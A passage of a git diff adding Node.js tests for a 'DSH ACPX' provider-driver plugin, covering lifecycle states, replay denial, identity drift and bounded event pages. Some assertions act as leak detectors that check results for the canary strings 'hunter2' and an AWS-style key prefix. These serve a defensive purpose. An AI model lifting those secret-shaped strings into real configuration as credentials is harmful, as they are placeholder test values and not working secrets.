bytes: 2048, + })), + next_cursor: request.max_records, + truncated: true, + })], + }); + const driver = createFixtureDriver(MUSE_MODEL, transport); + const lane = dispatchLane(driver.driver, fixture); + const seen = [ + lane.reconcile({ include: ['detailed_events', 'live_progress'], intent: 'restart_reattach' }), + lane.cancel(), + ]; + for (const result of seen) { + const serialized = JSON.stringify(result); + assert.ok(!serialized.includes(LEAK_MARKER), 'marker leaked into results'); + assert.ok(!serialized.includes('hunter2'), 'secret-shaped text leaked into results'); + assert.ok(!serialized.includes('AKIAIOSFODNN7'), 'aws-style token leaked into results'); + } +}); diff --git a/plugins/codex-co-engineer/test/r1-dsh-acpx-driver.test.mjs b/plugins/codex-co-engineer/test/r1-dsh-acpx-driver.test.mjs new file mode 100644 index 0000000..2062fd1 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-dsh-acpx-driver.test.mjs @@ -0,0 +1,741 @@ +// Runtime tests for the P20 DSH ACPX provider driver: hard provider/model +// binding, the four P17 lifecycle operations over an injected bounded +// one-shot transport port, honest post-spawn uncertainty (no replay, +// retry, or fallback), unsupported same-session reply surfacing, recorded- +// evidence reconcile/restart recovery and cancellation confirmation, exact +// identity/correlation drift denials, bounds, and content-free telemetry. +// No real DSH transport is configured or qualified here. + +import assert from 'node:assert/strict'; +import test from 'node:test'; + +import { + DSH_ALLOWED_MODELS, + DSH_ACPX_TRANSPORT_KEYS, + DSH_CANCEL_OUTCOMES, + DSH_DETAIL_CODES, + DSH_EVIDENCE_STATES, + DSH_EVENT_KINDS, + DSH_MAX_CURSOR, + DSH_MAX_EVENT_PAGE_RECORDS, + DSH_MAX_EVENT_RECORD_BYTES, + DSH_MAX_LANES, + DSH_MAX_LAUNCH_ATTEMPTS, + DSH_MAX_LANE_OPERATIONS, + DSH_MAX_RECORDED_EVENTS, + DSH_MODEL_IDENTITIES, + DSH_PROVIDER, + DSH_STOP_REASONS, + assertDshAcpTransportV1, + createDshApxDriverV1, + describeDshApxDriverV1, + validateDshConfigIdentityV1, +} from '../mcp/v3/dsh-acpx-driver.mjs'; +import { childEnvelopeDigestV1 } from '../mcp/v3/identity.mjs'; +import { compileChildEnvelopeV1 } from '../mcp/v3/prompt-compiler.mjs'; +import { + DRIVER_DECLARATION_SCHEMA_ID, + PROVIDER_CAPABILITIES_BRIDGE_SCHEMA_ID, + assertCapabilityRequirementV1, + assertProviderDriverV1, +} from '../mcp/v3/provider-driver.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { CLOUD_STARTING_REF } from './fixtures/r1-resolver-fixtures.mjs'; +import { + dshManifest, + LEAK_MARKER, + MUSE_MODEL, + OX_MODEL, + createFixtureDriver, + dispatchLane, + dshEnvelope, + fakeDshTransport, + readyIdentity, +} from './fixtures/r1-dsh-acpx-fixtures.mjs'; +import { runProviderDriverContractSuiteV1 } from './provider-driver-contract-suite.mjs'; + +function expectCode(fn, code, message) { + // A wildcard (undefined) code accepts any typed contract denial. + assert.throws(fn, (error) => error instanceof RunContractV1Error + && (code === undefined || error.code === code), message); +} + +const CONTENT_FREE_DETAIL = /^[A-Za-z0-9_=.:/ -]+$/u; + +test('factory surface is closed, frozen, and hard-bound to dsh with exactly two models', () => { + const facade = createFixtureDriver(MUSE_MODEL, fakeDshTransport()); + assert.equal(facade.schema, 'codex-co-engineer.dsh-acpx-driver.v1'); + assert.equal(facade.version, 1); + assert.equal(facade.provider, DSH_PROVIDER); + assert.deepEqual([...facade.models], [MUSE_MODEL, OX_MODEL]); + assert.equal(facade.workspace_mode, 'managed'); + assert.equal(facade.workspace_semantics, 'local_managed_worktree'); + assert.equal(facade.workspace_starting_point, 'run_base_sha'); + assert.ok(Object.isFrozen(facade)); + assertProviderDriverV1(facade.driver); + assert.deepEqual(Object.keys(facade.driver).sort(), ['cancel', 'launch', 'preflight', 'reconcile']); + assert.equal(facade.declaration.schema, DRIVER_DECLARATION_SCHEMA_ID); + assert.equal(facade.declaration.capability.schema, PROVIDER_CAPABILITIES_BRIDGE_SCHEMA_ID); + assert.equal(facade.declaration.capability.provider, 'dsh'); +}); + +test('the shipped declaration keeps asserting the honest DSH posture', () => { + const facade = createFixtureDriver(MUSE_MODEL, fakeDshTransport()); + const capability = assertCapabilityRequirementV1(facade.declaration, { + artifact_kinds: ['provider_report'], + create_pr_posture: 'prohibited', + dispatch_certainty: 'uncertain_after_spawn', + exact_model_selection: 'exact_and_attested', + merge_authority: 'none_codex_only_integration', + replay_posture: 'never_replay', + same_session_reply: 'unsupported_unresolved_attention', + workspace_semantics: 'local_managed_worktree', + workspace_starting_point: 'run_base_sha', + }); + assert.equal(capability.revision, 'p20.dsh-acpx.1'); + assert.deepEqual({ ...facade.features }, { + cancellation: 'supported', + detailed_events: 'supported', + live_progress: 'supported', + restart: 'reconcile_reattach_only', + }); +}); + +test('the driver passes the accepted provider-neutral P17 conformance suite unmodified', () => { + const facade = createFixtureDriver(OX_MODEL, fakeDshTransport()); + runProviderDriverContractSuiteV1(facade.driver, { + label: 'dsh-acpx-driver', + declaration: facade.declaration, + }); +}); + +test('describe reports bounded vocabularies and only false non-claims', () => { + const description = describeDshApxDriverV1(); + assert.equal(description.transport_mode, 'injected_bounded_one_shot_port'); + assert.deepEqual([...description.models], [...DSH_ALLOWED_MODELS]); + assert.deepEqual([...description.evidence_states], [...DSH_EVIDENCE_STATES]); + assert.deepEqual([...description.event_kinds], [...DSH_EVENT_KINDS]); + assert.deepEqual([...description.cancel_outcomes], [...DSH_CANCEL_OUTCOMES]); + assert.deepEqual([...description.stop_reasons_placeholder ?? []], []); + for (const value of Object.values(description.claims)) assert.equal(value, false); + assert.equal(description.bounds.recorded_events, DSH_MAX_RECORDED_EVENTS); + assert.equal(description.bounds.lanes, DSH_MAX_LANES); + assert.ok(DSH_DETAIL_CODES.length >= 12 && new Set(DSH_DETAIL_CODES).size === DSH_DETAIL_CODES.length); + assert.ok(new Set([...DSH_EVIDENCE_STATES]).size === DSH_EVIDENCE_STATES.length); + assert.ok(new Set([...DSH_STOP_REASONS]).size === DSH_STOP_REASONS.length); + assert.ok(new Set([...DSH_EVENT_KINDS]).size === DSH_EVENT_KINDS.length); +}); + +test('model identity data stays an informational mirror of the supervisor routing', () => { + assert.deepEqual({ ...DSH_MODEL_IDENTITIES[MUSE_MODEL] }, { + config_file: 'dsh-acp.yml', + credential_env: 'MODEL_API_KEY', + credential_file_env: 'CODEX_CO_ENGINEER_MODEL_API_KEY_FILE', + credential_file: 'model-api-key', + }); + assert.deepEqual({ ...DSH_MODEL_IDENTITIES[OX_MODEL] }, { + config_file: 'dsh-acp-ox-alpha.yml', + credential_env: 'OPENROUTER_API_KEY', + credential_file_env: 'CODEX_CO_ENGINEER_OPENROUTER_API_KEY_FILE', + credential_file: 'openrouter-api-key', + }); +}); + +test('preflight is ready on a healthy identity and blocked honestly when the port cannot resolve one', () => { + const healthy = createFixtureDriver(MUSE_MODEL, fakeDshTransport()); + const fixture = dshEnvelope(MUSE_MODEL); + const lane = dispatchLane(healthy.driver, fixture); + assert.equal(lane.preflight.disposition, 'ready'); + assert.equal(lane.preflight.detail_code, undefined); + + const unavailableTransport = fakeDshTransport({ throwOnIdentity: () => new Error('probe blew up') }); + const unavailable = createFixtureDriver(MUSE_MODEL, unavailableTransport); + const blockedResult = unavailable.driver.preflight({ + schema: 'codex-co-engineer.driver-preflight.v1', version: 1, + envelope_text: fixture.envelope_text, child_envelope_digest: fixture.child_envelope_digest, + }); + assert.equal(blockedResult.disposition, 'blocked'); + assert.equal(blockedResult.detail_code, 'dsh_transport_unavailable'); + assert.match(blockedResult.detail_message, CONTENT_FREE_DETAIL); +}); + +test('a lost identity probe during launch is provably not_sent and may be retried once', () => { + const fixture = dshEnvelope(MUSE_MODEL); + let identityCalls = 0; + const transport = fakeDshTransport({ + identity: () => { + identityCalls += 1; + if (identityCalls >= 2) throw new Error('config probe lost'); + return readyIdentity(); + }, + }); + const driver = createFixtureDriver(MUSE_MODEL, transport); + driver.driver.preflight({ + schema: 'codex-co-engineer.driver-preflight.v1', version: 1, + envelope_text: fixture.envelope_text, child_envelope_digest: fixture.child_envelope_digest, + }); + // The spawn call was never made, so the failure is provably pre-spawn... + const firstLaunch = driver.driver.launch({ + schema: 'codex-co-engineer.driver-launch.v1', version: 1, + envelope_text: fixture.envelope_text, child_envelope_digest: fixture.child_envelope_digest, + }); + assert.equal(firstLaunch.disposition, 'not_sent'); + assert.equal(firstLaunch.detail_code, 'transport_prespawn_denied'); + assert.equal(transport.port ? transport.counts().spawn : transport.counts().spawn, 0); +}); + +test('preflight maps identity-unavailability reasons to dedicated blocked codes', () => { + const fixture = dshEnvelope(MUSE_MODEL); + const preflightRequest = () => ({ + schema: 'codex-co-engineer.driver-preflight.v1', version: 1, + envelope_text: fixture.envelope_text, child_envelope_digest: fixture.child_envelope_digest, + }); + for (const [identity, code] of [ + [{ ready: false, reason: 'config_unavailable' }, 'dsh_config_unavailable'], + [{ ready: false, reason: 'credential_unavailable' }, 'dsh_credential_unavailable'], + [{ ready: false }, 'dsh_config_unavailable'], + ]) { + const driver = createFixtureDriver(MUSE_MODEL, fakeDshTransport({ identity })); + const result = driver.driver.preflight(preflightRequest()); + assert.equal(result.disposition, 'blocked'); + assert.equal(result.detail_code, code); + assert.match(result.detail_message, CONTENT_FREE_DETAIL); + } + // An own-undefined receipt field is malformed data, not probe loss: it must + // fail closed with its typed code instead of a soft blocked posture. + const malformed = createFixtureDriver(MUSE_MODEL, fakeDshTransport({ + identity: () => ({ ready: false, reason: undefined }), + })); + expectCode(() => malformed.driver.preflight(preflightRequest()), 'own_undefined_denied'); +}); + +test('launch stays dispatch_uncertain after spawn and forwards the exact child payload', () => { + const transport = fakeDshTransport(); + const driver = createFixtureDriver(MUSE_MODEL, transport); + const fixture = dshEnvelope(MUSE_MODEL); + const lane = dispatchLane(driver.driver, fixture); + assert.equal(lane.launch.disposition, 'dispatch_uncertain'); + assert.equal(lane.launch.detail_code, undefined); + const payload = transport.calls.spawn[0]; + assert.equal(payload.envelope_text, fixture.envelope_text); + assert.equal(payload.child_envelope_digest, fixture.child_envelope_digest); + assert.equal(payload.model, MUSE_MODEL); + assert.equal(payload.run_id, fixture.run_id); + assert.equal(payload.assignment_id, fixture.assignment_id); + assert.equal(payload.lane_index, fixture.lane_index); + assert.equal(payload.base_sha, fixture.base_sha); + assert.equal(typeof payload.attempted_at_ms, 'number'); + assert.ok(Number.isSafeInteger(payload.attempted_at_ms)); + assert.equal(Object.isFrozen(payload), true); +}); + +test('the ox-alpha model drives the identical lifecycle without substitution', () => { + const transport = fakeDshTransport(); + const driver = createFixtureDriver(OX_MODEL, transport); + const fixture = dshEnvelope(OX_MODEL); + const lane = dispatchLane(driver.driver, fixture); + assert.equal(lane.preflight.disposition, 'ready'); + assert.equal(lane.launch.disposition, 'dispatch_uncertain'); + assert.equal(lane.reconcile({ include: ['live_progress'] }).disposition, 'in_progress'); + assert.equal(transport.calls.spawn[0].model, OX_MODEL); +}); + +test('cross-provider envelopes are refused before any transport call happens', () => { + for (const provider of ['grok', 'cursor-local', 'cursor-cloud']) { + const manifest = JSON.parse(JSON.stringify(dshManifest(MUSE_MODEL))); + manifest.assignments[0].execution.provider = provider; + if (provider === 'cursor-cloud') manifest.assignments[0].starting_ref = CLOUD_STARTING_REF; + const envelope = compileChildEnvelopeV1(manifest, 'dsh-lane'); + const transport = fakeDshTransport(); + const driver = createFixtureDriver(MUSE_MODEL, transport); + const request = { + schema: 'codex-co-engineer.driver-preflight.v1', version: 1, + envelope_text: envelope.envelope_text, + child_envelope_digest: childEnvelopeDigestV1(envelope).digest, + }; + expectCode(() => driver.driver.preflight(request), 'provider_slot_mismatch'); + assert.equal(transport.counts().configIdentity, 0, 'no transport probe may run for foreign providers'); + } +}); + +test('non-canonical dsh models are denied; both allowed models are accepted verbatim', () => { + for (const model of ['muse-spark-1.2', 'stealth/ox-alpha-latest', '-', '', 'MUSE-SPARK-1.2-CONTRIBUTOR']) { + const manifest = JSON.parse(JSON.stringify(dshManifest(MUSE_MODEL))); + manifest.assignments[0].execution.model = model; + let envelope; + try { + envelope = compileChildEnvelopeV1(manifest, 'dsh-lane'); + } catch { + continue; // the compiler itself rejects some non-canonical models first + } + const driver = createFixtureDriver(MUSE_MODEL, fakeDshTransport()); + expectCode(() => driver.driver.preflight({ + schema: 'codex-co-engineer.driver-preflight.v1', version: 1, + envelope_text: envelope.envelope_text, + child_envelope_digest: childEnvelopeDigestV1(envelope).digest, + }), 'dsh_model_denied', `model ${model} must be denied`); + } + assert.deepEqual([...DSH_ALLOWED_MODELS], [MUSE_MODEL, OX_MODEL]); +}); + +test('reconcile maps recorded evidence onto honest dispositions with content-free details', () => { + const cases = [ + [{ state: 'accepted' }, 'in_progress', 'live_progress'], + [{ state: 'running' }, 'in_progress', 'live_progress'], + [{ state: 'needs_attention', question_ref: `q-${LEAK_MARKER}` }, 'unresolved_attention', 'unresolved_attention'], + [{ state: 'completed', stop_reason: 'end_turn' }, 'terminal', 'terminal_evidence'], + [{ state: 'failed', stop_reason: 'error' }, 'terminal', 'terminal_evidence'], + [{ state: 'cancelled', stop_reason: 'cancelled' }, 'terminal', 'terminal_evidence'], + [{ state: 'absent' }, 'dispatch_uncertain', 'evidence_absent'], + ]; + for (const [receipt, disposition, detailCode] of cases) { + const transport = fakeDshTransport({ polls: [receipt] }); + const driver = createFixtureDriver(MUSE_MODEL, transport); + const lane = dispatchLane(driver.driver, dshEnvelope(MUSE_MODEL)); + const result = lane.reconcile({ include: ['live_progress'] }); + assert.equal(result.disposition, disposition, `state ${JSON.stringify(receipt.state)}`); + assert.equal(result.detail_code, detailCode); + assert.match(result.detail_message, CONTENT_FREE_DETAIL); + assert.ok(result.detail_message.length <= 512); + assert.ok(!result.detail_message.includes(LEAK_MARKER), 'question/prompt content must never surface'); + } +}); + +test('restart_reattach recovers from recorded evidence and never relaunches anything', () => { + const transport = fakeDshTransport({ polls: [{ state: 'running' }] }); + const driver = createFixtureDriver(MUSE_MODEL, transport); + const fixture = dshEnvelope(MUSE_MODEL); + const lane = dispatchLane(driver.driver, fixture); + const recovered = lane.reconcile({ intent: 'restart_reattach', include: ['detailed_events'] }); + assert.equal(recovered.disposition, 'in_progress'); + assert.equal(recovered.detail_code, 'live_progress'); + assert.equal(transport.counts().spawn, 1, 'restart recovery must not spawn again'); + + const lost = fakeDshTransport({ polls: [{ state: 'absent' }] }); + const lostDriver = createFixtureDriver(MUSE_MODEL, lost); + const lostLane = dispatchLane(lostDriver.driver, fixture); + const uncertain = lostLane.reconcile({ intent: 'restart_reattach' }); + assert.equal(uncertain.disposition, 'dispatch_uncertain'); + assert.equal(lost.counts().spawn, 1, 'missing evidence never authorizes a relaunch'); +}); + +test('cancellation maps confirmed/requested/already_terminal outcomes with bounded details', () => { + for (const outcome of DSH_CANCEL_OUTCOMES) { + const expectedDisposition = { + confirmed: 'cancel_confirmed', + requested: 'cancel_requested', + already_terminal: 'already_terminal', + }[outcome]; + const transport = fakeDshTransport({ cancelReceipts: [{ outcome }] }); + const driver = createFixtureDriver(MUSE_MODEL, transport); + const lane = dispatchLane(driver.driver, dshEnvelope(MUSE_MODEL)); + const result = lane.cancel(); + assert.equal(result.disposition, expectedDisposition); + assert.equal(result.detail_code, expectedDisposition); + assert.match(result.detail_message, CONTENT_FREE_DETAIL); + } +}); + +test('reconcile-terminal then cancel is local already_terminal with zero transport', () => { + const terminals = [ + { state: 'completed', stop_reason: 'end_turn' }, + { state: 'failed', stop_reason: 'error' }, + { state: 'cancelled', stop_reason: 'cancelled' }, + ]; + for (const receipt of terminals) { + const transport = fakeDshTransport({ polls: [receipt] }); + const driver = createFixtureDriver(MUSE_MODEL, transport); + const lane = dispatchLane(driver.driver, dshEnvelope(MUSE_MODEL)); + const first = lane.reconcile(); + assert.equal(first.disposition, 'terminal', receipt.state); + const before = transport.counts(); + const result = lane.cancel(); + assert.equal(result.disposition, 'already_terminal', receipt.state); + assert.equal(result.detail_code, 'already_terminal', receipt.state); + assert.match(result.detail_message, CONTENT_FREE_DETAIL); + assert.deepEqual(transport.counts(), before, + `${receipt.state} later cancel must not call configIdentity/cancel/poll/events/spawn`); + } +}); + +test('repeated confirmed cancel is local already_terminal with zero further transport', () => { + const transport = fakeDshTransport({ cancelReceipts: [{ outcome: 'confirmed' }] }); + const driver = createFixtureDriver(MUSE_MODEL, transport); + const lane = dispatchLane(driver.driver, dshEnvelope(MUSE_MODEL)); + const first = lane.cancel(); + assert.equal(first.disposition, 'cancel_confirmed'); + const before = transport.counts(); + assert.equal(before.cancel, 1); + const second = lane.cancel(); + assert.equal(second.disposition, 'already_terminal'); + assert.equal(second.detail_code, 'already_terminal'); + assert.match(second.detail_message, CONTENT_FREE_DETAIL); + assert.deepEqual(transport.counts(), before, + 'repeated confirmed cancel must not call configIdentity/cancel/poll/events/spawn'); +}); + +test('cancel_requested remains nonterminal so a later cancel still reaches the port', () => { + const transport = fakeDshTransport({ + cancelReceipts: [{ outcome: 'requested' }, { outcome: 'confirmed' }], + }); + const driver = createFixtureDriver(MUSE_MODEL, transport); + const lane = dispatchLane(driver.driver, dshEnvelope(MUSE_MODEL)); + const first = lane.cancel(); + assert.equal(first.disposition, 'cancel_requested'); + const afterRequested = transport.counts(); + const second = lane.cancel(); + assert.equal(second.disposition, 'cancel_confirmed'); + assert.equal(transport.counts().cancel, afterRequested.cancel + 1); + assert.equal(transport.counts().configIdentity, afterRequested.configIdentity + 1); + const afterConfirmed = transport.counts(); + const third = lane.cancel(); + assert.equal(third.disposition, 'already_terminal'); + assert.deepEqual(transport.counts(), afterConfirmed, + 'cancel after cancel_confirmed must not call the injected port'); +}); + +test('duplicate launch after any launch observation fails closed as a replay', () => { + const transport = fakeDshTransport(); + const driver = createFixtureDriver(MUSE_MODEL, transport); + const lane = dispatchLane(driver.driver, dshEnvelope(MUSE_MODEL)); + expectCode(() => lane.launchAgain(), 'replay_denied'); + expectCode(() => lane.preflightAgain(), 'invalid_transition'); + assert.equal(transport.counts().spawn, 1); +}); + +test('a provably pre-spawn failure reports not_sent and permits exactly one more attempt', () => { + const prespawnError = Object.assign(new Error('port denied pre-spawn'), { + phase: 'prespawn', code: 'port_denied', + }); + const transport = fakeDshTransport({ throwOnSpawn: () => prespawnError }); + const driver = createFixtureDriver(MUSE_MODEL, transport); + const fixture = dshEnvelope(MUSE_MODEL); + const lane = dispatchLane(driver.driver, fixture); + assert.equal(lane.launch.disposition, 'not_sent'); + assert.equal(lane.launch.detail_code, 'transport_prespawn_denied'); + assert.match(lane.launch.detail_message, CONTENT_FREE_DETAIL); + assert.equal(lane.launch.detail_message.includes('probe=spawn'), true); + assert.equal(lane.launch.detail_message.includes('port_denied'), false); + assert.equal(lane.launch.detail_message.includes('code='), false); + + // One retry is allowed because the prompt provably never went out. + const recovering = fakeDshTransport(); + const recoveringDriver = createFixtureDriver(MUSE_MODEL, recovering); + const recoveredLane = dispatchLane(recoveringDriver.driver, fixture); + assert.equal(recoveredLane.launch.disposition, 'dispatch_uncertain'); + + const twiceFailed = createFixtureDriver(MUSE_MODEL, fakeDshTransport({ throwOnSpawn: () => prespawnError })); + const twiceLane = dispatchLane(twiceFailed.driver, fixture); + twiceLane.launchAgain(); + expectCode(() => twiceLane.launchAgain(), 'launch_budget_exceeded'); +}); + +test('post-spawn exceptions stay dispatch_uncertain forever with no replay or fallback', () => { + const transport = fakeDshTransport({ throwOnSpawn: () => new Error('process died mid-spawn') }); + const driver = createFixtureDriver(MUSE_MODEL, transport); + const fixture = dshEnvelope(MUSE_MODEL); + const lane = dispatchLane(driver.driver, fixture); + assert.equal(lane.launch.disposition, 'dispatch_uncertain'); + expectCode(() => lane.launchAgain(), 'replay_denied'); + expectCode(() => lane.preflightAgain(), 'invalid_transition'); + // An intent-only lane has no session handle: observation stays honestly + // uncertain, invents no terminality, and never replays the child to + // recover a handle. + const observed = lane.reconcile({ intent: 'restart_reattach', include: ['detailed_events'] }); + assert.equal(observed.disposition, 'dispatch_uncertain'); + assert.equal(observed.detail_code, 'evidence_absent'); + expectCode(() => lane.cancel(), 'dsh_cancel_unresolved'); + assert.equal(transport.counts().spawn, 1); + assert.equal(transport.counts().poll, 0, 'no poll can run without a session handle'); +}); + +test('identity drift between preflight and later operations fails closed before spawn', () => { + const fixture = dshEnvelope(MUSE_MODEL); + const requestFor = (operation) => ({ + schema: `codex-co-engineer.driver-${operation}.v1`.replace('driver-preflight', 'driver-preflight'), + version: 1, + envelope_text: fixture.envelope_text, + child_envelope_digest: fixture.child_envelope_digest, + }); + + const drifted = fakeDshTransport({ + identity: (callIndex) => (callIndex === 1 + ? readyIdentity() + : readyIdentity({ credential_sha256: 'c'.repeat(64) })), + }); + const driver = createFixtureDriver(MUSE_MODEL, drifted); + driver.driver.preflight(requestFor('preflight')); + expectCode(() => driver.driver.launch(requestFor('launch')), 'dsh_identity_drift'); + assert.equal(drifted.counts().spawn, 0, 'drift must deny before the spawn intent begins'); + + for (const field of ['config_path', 'config_sha256', 'credential_source']) { + const perField = fakeDshTransport({ + identity: (callIndex) => (callIndex === 1 + ? readyIdentity() + : readyIdentity({ [field]: field === 'config_path' + ? '/elsewhere/dsh-acp.yml' + : field === 'config_sha256' ? 'd'.repeat(64) : 'file' })), + }); + const fieldDriver = createFixtureDriver(MUSE_MODEL, perField); + fieldDriver.driver.preflight(requestFor('preflight')); + // Launch re-probes identity immediately before the spawn intent: drift + // fails closed before anything can be sent. + expectCode(() => fieldDriver.driver.launch(requestFor('launch')), 'dsh_identity_drift', field); + assert.equal(perField.counts().spawn, 0, `drift denies before spawn (${field})`); + } + + const gone = fakeDshTransport({ + identity: (callIndex) => (callIndex === 1 ? readyIdentity() : { ready: false, reason: 'credential_unavailable' }), + }); + const goneDriver = createFixtureDriver(MUSE_MODEL, gone); + goneDriver.driver.preflight(requestFor('preflight')); + expectCode(() => goneDriver.driver.launch(requestFor('launch')), 'dsh_identity_unavailable'); + assert.equal(gone.counts().spawn, 0, 'unavailable identity denies before spawn'); +}); + +test('task/session correlation drift in recorded evidence fails closed per field', () => { + const fixture = dshEnvelope(MUSE_MODEL); + for (const field of ['run_id', 'assignment_id', 'lane_index', 'base_sha', 'child_envelope_digest', 'session_ref', 'model']) { + const wrongValue = field === 'lane_index' + ? 5 + : field === 'child_envelope_digest' + ? `${fixture.child_envelope_digest.slice(0, 63)}0` + : field === 'session_ref' + ? 'sess-other-9999' + : `wrong-${field}`; + const corrupted = (request) => ({ + session_ref: field === 'session_ref' ? wrongValue : request.session_ref, + ...request.correlation, + ...(field !== 'session_ref' ? { [field]: wrongValue } : {}), + }); + const transport = fakeDshTransport({ + polls: [(request) => ({ + ...corrupted(request), + state: 'running', event_count: 1, cursor: 1, updated_at_ms: 10, + })], + cancelReceipts: [(request) => ({ ...corrupted(request), outcome: 'confirmed' })], + }); + const driver = createFixtureDriver(MUSE_MODEL, transport); + const lane = dispatchLane(driver.driver, fixture); + expectCode(() => lane.reconcile(), 'dsh_correlation_mismatch', field); + expectCode(() => lane.cancel(), 'dsh_correlation_mismatch', field); + } +}); + +test('event pages are bounded, cursor-monotonic, and stop at the recorded-event budget', () => { + const transport = fakeDshTransport(); + const driver = createFixtureDriver(MUSE_MODEL, transport); + const fixture = dshEnvelope(MUSE_MODEL); + const lane = dispatchLane(driver.driver, fixture); + const first = lane.reconcile({ include: ['detailed_events', 'live_progress'] }); + assert.equal(first.detail_code, 'live_progress'); + assert.equal(transport.calls.events[0].max_records, DSH_MAX_EVENT_PAGE_RECORDS); + + const overbound = fakeDshTransport({ + polls: [{ state: 'running' }], + eventPages: [(request) => ({ + records: Array.from({ length: request.max_records + 1 }, (_, index) => ({ + seq: index + 1, kind: 'status', bytes: 1, + })), + next_cursor: request.max_records + 1, + truncated: true, + })], + }); + const overDriver = createFixtureDriver(MUSE_MODEL, overbound); + const overLane = dispatchLane(overDriver.driver, fixture); + expectCode(() => overLane.reconcile({ include: ['live_progress'] }), 'event_page_overbound'); + + const nonIncreasing = fakeDshTransport({ + polls: [{ state: 'running' }], + eventPages: [(request) => ({ + records: [{ seq: request.cursor, kind: 'status', bytes: 1 }], + next_cursor: request.cursor, + truncated: false, + })], + }); + const nonIncreasingDriver = createFixtureDriver(MUSE_MODEL, nonIncreasing); + const nonIncreasingLane = dispatchLane(nonIncreasingDriver.driver, fixture); + expectCode(() => nonIncreasingLane.reconcile({ include: ['live_progress'] }), 'invalid_format'); + + const missingEvents = fakeDshTransport({ throwOnEvents: () => new Error('evidence dir gone') }); + const missingDriver = createFixtureDriver(MUSE_MODEL, missingEvents); + const missingLane = dispatchLane(missingDriver.driver, fixture); + expectCode(() => missingLane.reconcile({ include: ['detailed_events'] }), 'dsh_events_unavailable'); + // Observing without includes stays possible after the diagnostic failure. + assert.equal(missingLane.reconcile().disposition, 'in_progress'); +}); + +test('the event budget stops page reads once the recorded cap is reached', () => { + let seq = 0; + const transport = fakeDshTransport({ + polls: [{ state: 'running' }], + eventPages: [(request) => ({ + records: Array.from({ length: request.max_records }, () => ({ seq: (seq += 1), kind: 'status', bytes: 8 })), + next_cursor: seq, + truncated: seq >= DSH_MAX_RECORDED_EVENTS, + })], + }); + const driver = createFixtureDriver(MUSE_MODEL, transport); + const fixture = dshEnvelope(MUSE_MODEL); + const lane = dispatchLane(driver.driver, fixture); + let last; + for (let round = 0; round < Math.ceil(DSH_MAX_RECORDED_EVENTS / DSH_MAX_EVENT_PAGE_RECORDS) + 2; round += 1) { + last = lane.reconcile({ include: ['detailed_events'] }); + } + assert.equal(last.detail_message.includes(`events=${DSH_MAX_RECORDED_EVENTS}`), true, last.detail_message); + assert.equal(last.detail_message.includes('truncated=true'), true); + const readsAtBudget = transport.counts().events; + lane.reconcile({ include: ['detailed_events'] }); + assert.equal(transport.counts().events, readsAtBudget, 'no further page reads once the budget is exhausted'); +}); + +test('bounds constants stay inside their advertised ranges', () => { + assert.ok(DSH_MAX_LANES >= 1 && DSH_MAX_LANES <= 1024); + assert.ok(DSH_MAX_LAUNCH_ATTEMPTS >= 1 && DSH_MAX_LAUNCH_ATTEMPTS <= 8); + assert.ok(DSH_MAX_LANE_OPERATIONS >= 16); + assert.ok(DSH_MAX_RECORDED_EVENTS >= DSH_MAX_EVENT_PAGE_RECORDS); + assert.ok(DSH_MAX_EVENT_RECORD_BYTES >= 1 && DSH_MAX_EVENT_RECORD_BYTES <= 65536); + assert.ok(DSH_MAX_CURSOR >= DSH_MAX_RECORDED_EVENTS); + assert.equal(DSH_ACPX_TRANSPORT_KEYS.length, 5); +}); + +test('the lane budget denies the 65th distinct lane while existing lanes keep working', () => { + const transport = fakeDshTransport(); + const driver = createFixtureDriver(MUSE_MODEL, transport); + for (let index = 0; index < DSH_MAX_LANES; index += 1) { + const fixture = dshEnvelope(MUSE_MODEL, `lane-${String(index).padStart(2, '0')}`); + const result = driver.driver.preflight({ + schema: 'codex-co-engineer.driver-preflight.v1', version: 1, + envelope_text: fixture.envelope_text, child_envelope_digest: fixture.child_envelope_digest, + }); + assert.equal(result.disposition, 'ready'); + } + const extra = dshEnvelope(MUSE_MODEL, 'lane-overflows'); + expectCode(() => driver.driver.preflight({ + schema: 'codex-co-engineer.driver-preflight.v1', version: 1, + envelope_text: extra.envelope_text, child_envelope_digest: extra.child_envelope_digest, + }), 'lane_budget_exceeded'); +}); + +test('the operation budget caps work per lane and clock regressions fail closed', () => { + let now = 10_000; + const transport = fakeDshTransport({ polls: [{ state: 'running' }] }); + const driver = createFixtureDriver(MUSE_MODEL, transport, { now: () => (now += 1) }); + const fixture = dshEnvelope(MUSE_MODEL); + const lane = dispatchLane(driver.driver, fixture); + const remaining = DSH_MAX_LANE_OPERATIONS - 2; + for (let index = 0; index < remaining; index += 1) { + lane.reconcile(); + } + expectCode(() => lane.reconcile(), 'operation_budget_exceeded'); + + let backwardsClock = 20_000; + let dispatchedBackwards = false; + const backwards = createFixtureDriver(MUSE_MODEL, fakeDshTransport(), { + now: () => { + if (!dispatchedBackwards) { + backwardsClock += 1; + return backwardsClock; + } + backwardsClock -= 5_000; + return backwardsClock; + }, + }); + const backFixture = dshEnvelope(MUSE_MODEL, 'clock-lane'); + const backLane = dispatchLane(backwards.driver, backFixture); + dispatchedBackwards = true; + expectCode(() => backLane.reconcile(), 'timing_regression_denied'); +}); + +test('invalid injected clocks fail closed before any transport interaction', () => { + const fixture = dshEnvelope(MUSE_MODEL); + for (const clock of [() => Number.NaN, () => -1, () => 5e12, () => null]) { + const transport = fakeDshTransport(); + const driver = createFixtureDriver(MUSE_MODEL, transport, { now: clock }); + expectCode(() => driver.driver.preflight({ + schema: 'codex-co-engineer.driver-preflight.v1', version: 1, + envelope_text: fixture.envelope_text, child_envelope_digest: fixture.child_envelope_digest, + }), 'invalid_format'); + assert.equal(transport.counts().configIdentity, 0); + } +}); + +test('detail telemetry never carries prompt, question, or event content', () => { + const transport = fakeDshTransport({ + polls: [{ state: 'needs_attention', question_ref: `q-${LEAK_MARKER}-payload` }], + eventPages: [(request) => ({ + records: Array.from({ length: request.max_records }, (_, index) => ({ + seq: index + 1, kind: 'text_delta', bytes: DSH_MAX_EVENT_RECORD_BYTES, + })), + next_cursor: request.max_records, + truncated: true, + })], + }); + const driver = createFixtureDriver(MUSE_MODEL, transport); + const fixture = dshEnvelope(MUSE_MODEL); + const lane = dispatchLane(driver.driver, fixture); + for (const operation of ['reconcile', 'cancel']) { + const result = operation === 'reconcile' + ? lane.reconcile({ include: ['detailed_events', 'live_progress'], intent: 'restart_reattach' }) + : lane.cancel(); + const serialized = JSON.stringify(result); + assert.ok(!serialized.includes(LEAK_MARKER), `${operation} leaked content`); + if 